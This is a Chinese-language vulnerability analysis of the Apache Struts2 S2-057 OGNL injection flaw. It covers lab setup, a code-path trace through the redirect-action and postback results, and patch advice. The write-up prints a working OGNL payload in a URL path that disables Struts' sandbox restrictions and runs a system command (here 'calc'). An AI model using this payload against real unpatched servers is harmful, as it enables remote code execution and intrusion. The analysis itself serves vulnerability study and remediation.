Struts2 s2-057远程代码执行漏洞分析
2021-03-15 16:35:39 Author: xz.aliyun.com(查看原文) 阅读量:204 收藏

一、 漏洞描述
当struts.mapper.alwaysSelectFullNamespace设置为true,并且package标签页以及result的param标签页的namespace值的缺失,或使用了通配符时可造成namespace被控制,最终namespace会被带入OGNL语句执行,从而产生远程代码执行漏洞。

  1. 受影响的系统版本
    Apache Struts 2.3 - Struts 2.3.34
    Apache Struts 2.5 - Struts 2.5.16
    环境搭建
    1.下载:http://archive.apache.org/dist/struts/2.3.34/struts-2.3.34-all.zip用IDEA打开

    2.首先修改配置文件\struts-2.3.34\src\apps\showcase\src\main\resources\struts-actionchaining.xml为
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
    "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
    "http://struts.apache.org/dtds/struts-2.3.dtd">

<struts>
    <package name="actionchaining" extends="struts-default">
        <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
            <result type="redirectAction">
                <param name = "actionName">register2</param>
            </result>
        </action>
    </package>
</struts>

3.在struts-2.3.34\src\apps\showcase\src\main\resources\struts.xml中添加

<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />

4.添加tomcat之后运行即可

漏洞复现
1.访问http://localhost:8081/${(111+111)}/actionChain1.action


2.弹出计算器

/struts2_showcase_war_exploded/showcase/${(#[email protected]@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#[email protected]@getRuntime().exec("calc"))}/actionChain1.action


漏洞分析
我主要分析了两种攻击点一:Redirect action和攻击点二:Postback result为了方便调试我用了/${(111+111)}进行分析更能展现出ONGL注入时的过程

Redirect action:
1.第一种方式在\struts-2.3.34\src\xwork-core\src\main\ja
va\com\opensymphony\xwork2\DefaultActionInvocation.java# @executeResult()处下断点进行调试


2.进入struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\ServletActionRedirectResult.java# @execute()

3.进入\struts-2.3.34\src\xwork-core\src\main\java\com\opensymphony\xwork2\DefaultActionProxy.java#@getNamespace()可以看到result对象的namespace即为/${(111+111)}。
4.回到execute()
进入struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\mapper\DefaultActionMapper.java#@getUriFromActionMapping(),跟入handleNamespace()观察如何处理值

5.handleNamespace最终结果如下

6.返回到execute()跟进super.execute()


7.可以看到最后通过 \struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\StrutsResultSupport.java# @doExecute()
lastFinaLocation 111+111=222 即产生了OGNL注入。

Postback result:
第二种方法
1.先修改struts.actionchaing.xml中内容

2.在\struts-2.3.34\src\xwork-core\src\main\java\com\opensymphony\xwork2\DefaultActionInvocation.java# @executeResult()可以看到 这个result对象的处理方式为 postback

3.进入execute(),跟进makePostbackUri


4.跟进\struts2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\mapper\DefaultActionMapper.java# @getUriFromActionMapping() ,进入handleNamespace()观察处理值过


5.handleNamespace()处理值过程如下

6.回到\struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\PostbackResult.java # @makePostbackUri()
可以看到postbackUri为/${(111+111)}/register2.action

7.我们继续回到\struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\PostbackResult.java# @execute()方法中往下走到super.execute()跟进

8.可以看到最后通过 \struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\StrutsResultSupport.java# @doExecute()
lastFinaLocation 111+111=222 即产生了OGNL注入。

修复建议

  1. 官方补丁
    目前官方已发布最新版本来修复此漏洞,受影响的用户请尽快升级到Apache Struts 2.3.35 或 Struts 2.5.17版本:https://struts.apache.org/download.cgi#struts2517。
  2. 手工修复
    修改配置文件:
    固定package标签页以及result的param标签页的namespace值,以及禁止使用通配符。
    参考:https://www.freebuf.com/vuls/182101.html
    https://xz.aliyun.com/t/2618#toc-5

文章来源: http://xz.aliyun.com/t/9260
如有侵权请联系:admin#unsafe.sh